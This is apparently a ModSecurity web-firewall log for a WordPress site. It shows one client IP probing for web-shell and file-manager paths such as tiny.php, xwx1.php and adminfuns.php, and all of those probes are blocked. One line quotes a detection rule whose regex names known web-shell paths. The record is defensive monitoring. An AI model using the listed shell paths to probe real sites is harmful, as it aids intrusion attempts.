[Sat Apr 18 05:02:59.805300 2026] [:error] [pid 9864:tid 9915] [client 172.213.226.43:6981] [client 172.213.226.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "aeKgA4CFeowknfXHM7khdgAAAEk"]
[Sat Apr 18 05:03:04.676869 2026] [:error] [pid 9970:tid 9975] [client 172.213.226.43:7126] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "aeKgCCYdRLRhVmaIMx2iTwAAAME"]
[Sat Apr 18 05:03:05.225756 2026] [:error] [pid 9970:tid 9997] [client 172.213.226.43:7073] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "aeKgCSYdRLRhVmaIMx2iVAAAANc"]
[Sat Apr 18 05:03:06.006374 2026] [:error] [pid 9970:tid 9983] [client 172.213.226.43:7142] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "aeKgCiYdRLRhVmaIMx2iWgAAAMk"]
[Sat Apr 18 05:03:06.917366 2026] [:error] [pid 9865:tid 9960] [client 172.213.226.43:7165] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "aeKgCqzb5knECIY-C-iM7wAAAJc"]
[Sat Apr 18 05:03:08.968505 2026] [:error] [pid 9970:tid 9983] [client 172.213.226.43:7109] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/footer.php"] [unique_id "aeKgDCYdRLRhVmaIMx2iaAAAAMk"]
[Sat Apr 18 05:03:10.899595 2026] [:error] [pid 9864:tid 9917] [client 172.213.226.43:7085] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/footer.php"] [unique_id "aeKgDoCFeowknfXHM7khgQAAAEs"]
[Sat Apr 18 05:03:13.009313 2026] [:error] [pid 9864:tid 9929] [client 172.213.226.43:6990] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/footer.php"] [unique_id "aeKgEYCFeowknfXHM7khggAAAFc"]
[Sat Apr 18 05:03:13.573823 2026] [:error] [pid 9865:tid 9954] [client 172.213.226.43:7049] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/footer.php"] [unique_id "aeKgEazb5knECIY-C-iM9gAAAJE"]
[Sat Apr 18 05:03:14.667276 2026] [:error] [pid 9865:tid 9960] [client 172.213.226.43:7121] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "aeKgEqzb5knECIY-C-iM-QAAAJc"]
[Sat Apr 18 05:03:15.259116 2026] [:error] [pid 9864:tid 9909] [client 172.213.226.43:6987] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "aeKgE4CFeowknfXHM7khgwAAAEQ"]
[Sat Apr 18 05:03:16.147161 2026] [:error] [pid 9864:tid 9915] [client 172.213.226.43:7071] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "aeKgFICFeowknfXHM7khhQAAAEk"]
[Sat Apr 18 05:03:16.918549 2026] [:error] [pid 9863:tid 9878] [client 172.213.226.43:7026] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/img.php"] [unique_id "aeKgFDjjiypiFrTucbL8WQAAAAU"]
[Sat Apr 18 05:03:17.672088 2026] [:error] [pid 9865:tid 9940] [client 172.213.226.43:7092] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "aeKgFazb5knECIY-C-iM_QAAAIM"]
[Sat Apr 18 05:03:18.263747 2026] [:error] [pid 9865:tid 9958] [client 172.213.226.43:7091] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "aeKgFqzb5knECIY-C-iM_gAAAJU"]
[Sat Apr 18 05:03:19.405362 2026] [:error] [pid 9865:tid 9957] [client 172.213.226.43:7063] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "aeKgF6zb5knECIY-C-iM_wAAAJQ"]
[Sat Apr 18 05:03:21.919738 2026] [:error] [pid 9864:tid 9907] [client 172.213.226.43:7102] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "aeKgGYCFeowknfXHM7khjAAAAEI"]
[Sat Apr 18 05:03:23.657741 2026] [:error] [pid 9970:tid 9975] [client 172.213.226.43:7053] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aeKgGyYdRLRhVmaIMx2imAAAAME"]
[Sat Apr 18 05:03:24.872640 2026] [:error] [pid 9970:tid 9989] [client 172.213.226.43:7067] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aeKgHCYdRLRhVmaIMx2inQAAAM8"]
[Sat Apr 18 05:03:27.436945 2026] [:error] [pid 9864:tid 9912] [client 172.213.226.43:7040] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aeKgH4CFeowknfXHM7khlQAAAEY"]
[Sat Apr 18 05:03:28.379423 2026] [:error] [pid 9865:tid 9942] [client 172.213.226.43:7057] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "aeKgIKzb5knECIY-C-iNEAAAAIU"]
[Sat Apr 18 05:03:29.639110 2026] [:error] [pid 9970:tid 9974] [client 172.213.226.43:7118] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeKgISYdRLRhVmaIMx2irQAAAMA"]
[Sat Apr 18 05:03:30.465191 2026] [:error] [pid 9970:tid 9986] [client 172.213.226.43:7072] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeKgIiYdRLRhVmaIMx2itQAAAMw"]
[Sat Apr 18 05:03:31.360474 2026] [:error] [pid 9865:tid 9949] [client 172.213.226.43:7060] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeKgI6zb5knECIY-C-iNEwAAAIw"]
[Sat Apr 18 05:03:32.903891 2026] [:error] [pid 9864:tid 9925] [client 172.213.226.43:7122] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeKgJICFeowknfXHM7khmAAAAFM"]
[Sat Apr 18 05:03:33.730987 2026] [:error] [pid 9864:tid 9919] [client 172.213.226.43:7120] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeKgJYCFeowknfXHM7khmQAAAE0"]
[Sat Apr 18 05:03:34.736937 2026] [:error] [pid 9970:tid 9994] [client 172.213.226.43:7095] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeKgJiYdRLRhVmaIMx2iwQAAANQ"]
[Sat Apr 18 05:03:36.247406 2026] [:error] [pid 9863:tid 9892] [client 172.213.226.43:7005] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeKgKDjjiypiFrTucbL8XwAAABM"]
[Sat Apr 18 05:03:37.222763 2026] [:error] [pid 9864:tid 9921] [client 172.213.226.43:7099] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeKgKYCFeowknfXHM7khngAAAE8"]
[Sat Apr 18 05:03:38.108724 2026] [:error] [pid 9864:tid 9905] [client 172.213.226.43:7096] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roksad1.php"] [unique_id "aeKgKoCFeowknfXHM7khnwAAAEA"]
[Sat Apr 18 05:03:39.092860 2026] [:error] [pid 9864:tid 9928] [client 172.213.226.43:7081] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roksad1.php"] [unique_id "aeKgK4CFeowknfXHM7khoAAAAFY"]
[Sat Apr 18 05:03:40.357692 2026] [:error] [pid 9864:tid 9930] [client 172.213.226.43:7066] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roksad1.php"] [unique_id "aeKgLICFeowknfXHM7khowAAAFg"]
[Sat Apr 18 05:03:41.357828 2026] [:error] [pid 9863:tid 9891] [client 172.213.226.43:6940] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roksad1.php"] [unique_id "aeKgLTjjiypiFrTucbL8YgAAABI"]
[Sat Apr 18 05:03:42.168425 2026] [:error] [pid 9865:tid 9947] [client 172.213.226.43:7129] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "aeKgLqzb5knECIY-C-iNJwAAAIo"]
[Sat Apr 18 05:03:43.010291 2026] [:error] [pid 9864:tid 9906] [client 172.213.226.43:7000] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "aeKgL4CFeowknfXHM7khpQAAAEE"]
[Sat Apr 18 05:03:44.098177 2026] [:error] [pid 9970:tid 9987] [client 172.213.226.43:7050] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "aeKgMCYdRLRhVmaIMx2izgAAAM0"]
[Sat Apr 18 05:03:44.871118 2026] [:error] [pid 9865:tid 9940] [client 172.213.226.43:6998] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "aeKgMKzb5knECIY-C-iNLQAAAIM"]
[Sat Apr 18 05:03:45.342843 2026] [:error] [pid 9865:tid 9958] [client 172.213.226.43:7058] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeKgMazb5knECIY-C-iNLgAAAJU"]
[Sat Apr 18 05:03:45.982778 2026] [:error] [pid 9970:tid 9991] [client 172.213.226.43:7143] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeKgMSYdRLRhVmaIMx2i2gAAANE"]
[Sat Apr 18 05:03:46.677233 2026] [:error] [pid 9864:tid 9923] [client 172.213.226.43:6984] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeKgMoCFeowknfXHM7khpwAAAFE"]
[Sat Apr 18 05:03:47.390421 2026] [:error] [pid 9865:tid 9946] [client 172.213.226.43:7041] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "aeKgM6zb5knECIY-C-iNMAAAAIk"]
[Sat Apr 18 05:03:48.179208 2026] [:error] [pid 9970:tid 9976] [client 172.213.226.43:7087] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aeKgNCYdRLRhVmaIMx2i6AAAAMI"]
[Sat Apr 18 05:03:48.950178 2026] [:error] [pid 9864:tid 9918] [client 172.213.226.43:6992] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aeKgNICFeowknfXHM7khqAAAAEw"]
[Sat Apr 18 05:03:49.588772 2026] [:error] [pid 9865:tid 9941] [client 172.213.226.43:7037] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aeKgNazb5knECIY-C-iNNgAAAIQ"]
[Sat Apr 18 05:03:50.300564 2026] [:error] [pid 9865:tid 9951] [client 172.213.226.43:7105] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aeKgNqzb5knECIY-C-iNNwAAAI4"]
[Sat Apr 18 05:03:51.024720 2026] [:error] [pid 9970:tid 9974] [client 172.213.226.43:7140] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "aeKgNyYdRLRhVmaIMx2i-AAAAMA"]
[Sat Apr 18 05:03:51.798108 2026] [:error] [pid 9970:tid 9976] [client 172.213.226.43:6986] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "aeKgNyYdRLRhVmaIMx2i_gAAAMI"]
[Sat Apr 18 05:03:52.351376 2026] [:error] [pid 9970:tid 9978] [client 172.213.226.43:6928] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "aeKgOCYdRLRhVmaIMx2jAgAAAMQ"]
[Sat Apr 18 05:03:53.908997 2026] [:error] [pid 9863:tid 9888] [client 172.213.226.43:6916] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "aeKgOTjjiypiFrTucbL8ZQAAAA8"]
[Sat Apr 18 05:03:54.567810 2026] [:error] [pid 9863:tid 9885] [client 172.213.226.43:6991] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "aeKgOjjjiypiFrTucbL8ZwAAAAw"]
[Sat Apr 18 05:03:55.514444 2026] [:error] [pid 9970:tid 9974] [client 172.213.226.43:7041] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "aeKgOyYdRLRhVmaIMx2jCgAAAMA"]
[Sat Apr 18 05:03:56.851324 2026] [:error] [pid 9970:tid 9977] [client 172.213.226.43:7114] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "aeKgPCYdRLRhVmaIMx2jEAAAAMM"]
[Sat Apr 18 05:03:57.920683 2026] [:error] [pid 9970:tid 9988] [client 172.213.226.43:7059] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "aeKgPSYdRLRhVmaIMx2jFAAAAM4"]
[Sat Apr 18 05:03:58.687771 2026] [:error] [pid 9970:tid 9975] [client 172.213.226.43:7007] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "aeKgPiYdRLRhVmaIMx2jGQAAAME"]
[Sat Apr 18 05:03:59.781307 2026] [:error] [pid 9970:tid 9987] [client 172.213.226.43:7080] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "aeKgPyYdRLRhVmaIMx2jHgAAAM0"]
[Sat Apr 18 05:04:00.700293 2026] [:error] [pid 9865:tid 9949] [client 172.213.226.43:6993] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "aeKgQKzb5knECIY-C-iNSQAAAIw"]
